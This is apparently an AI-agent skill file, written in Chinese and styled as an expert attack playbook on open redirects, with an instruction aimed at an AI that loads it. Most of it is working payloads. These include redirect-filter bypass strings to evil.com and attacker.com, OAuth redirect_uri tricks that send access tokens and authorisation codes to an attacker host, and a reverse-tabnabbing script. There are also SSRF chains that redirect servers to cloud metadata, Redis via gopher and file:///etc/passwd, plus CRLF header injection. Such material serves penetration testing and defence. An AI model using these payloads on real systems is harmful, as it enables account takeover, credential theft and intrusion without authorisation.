open-redirect

open-redirect

熱門

開放式重導向(Open Redirect)實戰手冊。當 URL 參數、表單動作或 JavaScript sink 控制頁面跳轉目標,並可能將使用者重導向至攻擊者控制的外部站點時使用。

1528星標
197分支
更新於 2026/6/16
SKILL.md
唯讀
名稱
open-redirect
描述

開放式重導向(Open Redirect)實戰手冊。當 URL 參數、表單動作或 JavaScript sink 控制頁面跳轉目標,並可能將使用者重導向至攻擊者控制的外部站點時使用。

SKILL: Open Redirect — 專家級攻擊實戰手冊

AI 載入指令:開放式重導向(Open Redirect)技術。涵蓋基於參數的重導向、JavaScript sink、過濾器繞過,以及結合網路釣魚、CSRF Referer 繞過、OAuth Token 竊取與 SSRF 的組合利用。此漏洞常被低估,但在網路釣魚及多步驟利用鏈中扮演關鍵的基礎環節。

1. 核心概念

當應用程式在未適當驗證的情況下,直接根據使用者輸入將使用者重導向至指定 URL 時,即會發生開放式重導向。此時,受信任的網域便成為攻擊者發動網路釣魚或竊取 Token 的「彈射起飛台」。

https://trusted.com/redirect?url=https://evil.com
→ 使用者在連結中看到 trusted.com → 點擊 → 最終跳轉至 evil.com

2. 尋找重導向參數

常見參數名稱

?url=           ?redirect=      ?next=          ?dest=
?destination=   ?redir=         ?return=        ?returnUrl=
?go=            ?forward=       ?target=        ?out=
?continue=      ?link=          ?view=          ?to=
?ref=           ?callback=      ?path=          ?rurl=

伺服器端 Sink

HTTP 301/302 Location header
PHP: header("Location: $input")
Python: redirect(input)
Java: response.sendRedirect(input)
Node: res.redirect(input)

客戶端(JavaScript)Sink

window.location = input
window.location.href = input
window.location.replace(input)
window.open(input)
document.location = input

3. 過濾繞過技巧

驗證邏輯 繞過方式
檢查 URL 是否以 / 開頭 //evil.com(相對協定 URL)
檢查網域是否包含 trusted.com evil.com?trusted.comtrusted.com.evil.com
封鎖 http:// //evil.com, https://evil.com, \/\/evil.com
檢查 URL 是否以 https://trusted.com 開頭 https://trusted.com@evil.com(Userinfo 繞過)
正規表示式 ^/[^/](僅限相對路徑) /\evil.com(部分瀏覽器會將反斜線視為路徑分隔符號)
Django endswith('target.com') http://evil.com/www.target.com — URL 路徑結尾包含目標網域
網域後綴白名單 *.trusted.com 上進行子網域接管(Subdomain Takeover)
# 相對協定(Protocol-relative):
//evil.com

# Userinfo 繞過:
https://trusted.com@evil.com

# 反斜線技巧:
/\evil.com
/\/evil.com

# URL 編碼:
https://trusted.com/%2F%2Fevil.com

# Django endswith 繞過:
http://evil.com/www.target.com
http://evil.com?target.com

# 受信任站點二次重導向(例如:透過百度轉址服務):
https://link.target.com/?url=http://evil.com

# 特殊字元混淆:
http://evil.com#@trusted.com        # 將片段(fragment)作為主機權限名稱
http://evil.com?trusted.com         # 查詢字串混淆
http://trusted.com%00@evil.com      # Null 位元組截斷

# URL 中的 Tab / 換行符號(瀏覽器會忽略空白符號):
java%09script:alert(1)

4. 漏洞組合利用鏈

放大網路釣魚效果

攻擊者發送:https://bigbank.com/redirect?url=https://bigbank-login.evil.com
受害者看到 bigbank.com → 點擊連結 → 在仿冒網站上輸入個人憑證。

OAuth Token 竊取

若 OAuth 的 redirect_uri 允許在已授權網域上進行開放式重導向:

/authorize?redirect_uri=https://trusted.com/redirect?url=https://evil.com
→ 授權碼或 Token 會被附加在 evil.com 的 URL 後方
→ 攻擊者從 URL 片段(fragment)或查詢字串中擷取 Token

繞過 CSRF Referer 檢查

部分 CSRF 防禦機制會檢查 Referer 表頭是否包含受信任網域:

1. 攻擊者頁面連結至:https://trusted.com/redirect?url=https://trusted.com/change-email
2. 重導向過程會保留來自 trusted.com 的 Referer
3. 由於 Referer 等於 trusted.com,CSRF 防禦成功被繞過

透過重導向觸發 SSRF

當伺服器端會自動跟隨重導向時:

?url=https://attacker.com/redirect-to-internal
# attacker.com 回應 302 → http://169.254.169.254/
# 伺服器跟隨重導向 → 對雲端 Metadata 端點發起 SSRF

5. 測試檢查清單

□ 找出所有會觸發重導向的 URL 參數
□ 測試外部網域:?url=https://evil.com
□ 測試相對協定:?url=//evil.com
□ 測試 Userinfo 繞過:?url=https://trusted.com@evil.com
□ 測試反斜線繞過:?url=/\evil.com
□ 測試 JavaScript sink:?url=javascript:alert(1)(DOM-based)
□ 檢查 OAuth 流程中的 redirect_uri 是否存在開放式重導向
□ 確認重導向過程是否會在 URL 中洩漏身份驗證 Token

6. 標籤頁劫持(反向標籤頁劫持 / Reverse Tabnabbing)

概念

當連結在開啟新分頁(target="_blank")時未加上 rel="noopener"

  • 新開啟的頁面可以存取 window.opener
  • 它能夠將原始分頁重導向至任意網址:window.opener.location = "https://phishing.com/login"
  • 當使用者切換回「原始」分頁時 → 看到假登入頁面 → 輸入個人憑證

檢測方式

<!-- 存在漏洞: -->
<a href="https://external.com" target="_blank">Click here</a>

<!-- 安全作法: -->
<a href="https://external.com" target="_blank" rel="noopener noreferrer">Click here</a>

利用方式

// 在攻擊者控制的頁面中(透過 target="_blank" 開啟):
if (window.opener) {
    window.opener.location = "https://phishing.com/fake-login.html";
}

尋找位置

  • 包含連結的使用者生成內容(討論區、留言區、個人檔案)
  • 連往外部網域且使用 target="_blank" 的連結
  • 在新分頁中開啟的 PDF 檢視器、文件預覽功能

7. 開放式重導向 → OAUTH TOKEN 竊取(詳細利用鏈)

7.1 OAuth 隱式流(Implicit Flow)

在隱式流中,Access Token 會包含在 URL 片段(#access_token=...)中回傳。若 redirect_uri 允許在授權網域上進行開放式重導向:

/authorize?response_type=token
  &client_id=CLIENT
  &redirect_uri=https://target.com/callback/../redirect?url=https://evil.com
  &scope=read

利用流程:
1. 使用者完成驗證 → 授權伺服器重導向至:
   https://target.com/redirect?url=https://evil.com#access_token=SECRET
2. 觸發開放式重導向 → 瀏覽器導航至:
   https://evil.com#access_token=SECRET
3. 攻擊者頁面讀取 location.hash → 擷取 Access Token

7.2 授權碼流(Authorization Code Flow)

授權碼會作為 Query 參數發送。若重導向鏈保留了 Query 參數:

/authorize?response_type=code
  &client_id=CLIENT
  &redirect_uri=https://target.com/callback%2f..%2fredirect%3furl%3dhttps://evil.com

利用流程:
1. 授權伺服器驗證 redirect_uri 前綴 → 比對符合 https://target.com/
2. 重導向至:https://target.com/redirect?url=https://evil.com&code=AUTH_CODE
3. 開放式重導向將受害者送往:https://evil.com?code=AUTH_CODE
4. 攻擊者拿授權碼換取 Access Token

7.3 OIDC id_token 片段洩漏

/authorize?response_type=id_token
  &client_id=CLIENT
  &redirect_uri=https://target.com/cb
  &nonce=NONCE

若 redirect_uri 指向開放式重導向端點:
→ URL 片段中的 id_token 被傳送給攻擊者
→ 攻擊者獲得簽名的身份聲明(Identity Assertion)
→ 可在任何接受此 IdP 的 RP 上以受害者身份進行驗證

7.4 redirect_uri 驗證繞過模式

redirect_uri=https://target.com/callback/../open-redirect?url=evil.com
redirect_uri=https://target.com/callback?next=https://evil.com
redirect_uri=https://target.com/callback%23@evil.com
redirect_uri=https://target.com/callback/../../redirect
redirect_uri=https://target.com/callback#@evil.com

8. 開放式重導向 → SSRF 組合利用鏈

伺服器端跟隨重導向

當伺服器端元件會跟隨 HTTP 重導向時(例如:URL 預覽、連結展開、Webhook、圖片擷取器):

1. 提交 URL 至伺服器端擷取器:http://attacker.com/redirect
2. attacker.com 回應:302 Location: http://169.254.169.254/latest/meta-data/
3. 伺服器跟隨重導向 → 對雲端 Metadata 端點發起 SSRF
4. 回應內容(IAM 憑證)被傳回攻擊者,或顯示於預覽畫面中

多重跳轉重導向以繞過過濾器

1. 伺服器封鎖對 169.254.169.254 的直接請求
2. 提交:http://attacker.com/r1
3. r1 → 302 → http://attacker.com/r2 (相同網域,通過過濾)
4. r2 → 302 → http://169.254.169.254/ (內網位址,未重新檢查過濾)

DNS 重綁定變體

1. attacker.com 解析為攻擊者的公網 IP(TTL=0)
2. 伺服器解析 attacker.com → 公網 IP → 通過 SSRF 過濾
3. 建立連線,但 HTTP 重導向再次指向 attacker.com
4. 第二次 DNS 解析:attacker.com 此時解析為 169.254.169.254
5. 伺服器跟隨重導向至內部位址

透過重導向協定進行權限提升

http://attacker.com/redirect → gopher://127.0.0.1:6379/...  (Redis SSRF)
http://attacker.com/redirect → file:///etc/passwd            (讀取本機檔案)
http://attacker.com/redirect → dict://127.0.0.1:11211/       (Memcached SSRF)

非所有 HTTP 客戶端都會跟隨跨協定重導向,但 curl(預設狀況下)及部分套件會支援。


9. 利用 URL 解析器差異進行重導向繞過

當重導向驗證函式對 URL 的解析方式,與最終處理該 URL 的瀏覽器或伺服器不一致時:

相對協定 URL

//attacker.com
→ 瀏覽器:https://attacker.com(繼承當前頁面的協定)
→ 部分驗證器:誤判為相對路徑 "/attacker.com"

反斜線混淆

\/\/attacker.com
/\/attacker.com
→ 許多瀏覽器會將 URL 中的 \ 正規化為 /
→ 將 \ 視為路徑字元的驗證器可能會放行

濫用 Userinfo 區段

//attacker.com\@target.com
→ 瀏覽器:導航至 attacker.com(@ 為 Userinfo 分隔符號)
→ 驗證器:在字串中看到 "target.com" → 通過白名單檢查

//target.com@attacker.com
→ 瀏覽器:userinfo=target.com, host=attacker.com
→ 驗證器:檢查「以 target.com 開頭」 → 通過

https://target.com%2F@attacker.com
→ URL 解碼後:target.com/ 作為 userinfo,host=attacker.com

雙重編碼

//attacker%252ecom
→ 第一次解碼://attacker%2ecom(通過驗證器)
→ 第二次解碼(由伺服器/瀏覽器)://attacker.com(實際發動重導向)

CRLF 注入 + 重導向

/%0d%0aLocation:%20https://attacker.com
→ 若伺服器將路徑反映在表頭情境中:
   HTTP/1.1 302 Found
   Location: /
   Location: https://attacker.com  ← 注入的表頭優先生效

片段(Fragment)混淆

https://target.com#@attacker.com
→ 瀏覽器:host=target.com, fragment=@attacker.com
→ 但部分基於 JS 的重導向(window.location = url)處理方式可能不同

https://attacker.com#.target.com
→ 驗證器:在字串中看到 "target.com" → 通過
→ 瀏覽器:導航至 attacker.com(頁面導航時忽略 fragment)

特殊字元

https://attacker.com%E3%80%82target.com
→ Unicode 全形句號(U+3002) — 部分解析器將其視為點號(.)
→ 瀏覽器的正規化處理可能與驗證器不同

https://attacker。com    (U+3002 全形句點)
https://attacker.com    (U+FF0E 全形句號)

URL 解析器差異對照表

載荷(Payload) 驗證器視角 瀏覽器實際導航至
//evil.com 相對路徑 https://evil.com
\/\/evil.com 路徑 \/\/evil.com https://evil.com
//evil.com\@target.com 包含 target.com https://evil.com
//target.com@evil.com target.com 開頭 https://evil.com
/%0d%0aLocation: https://evil.com 路徑字串 表頭注入 → 發動重導向
//evil%252ecom evil%2ecom(非有效網域) evil.com(二次解碼後)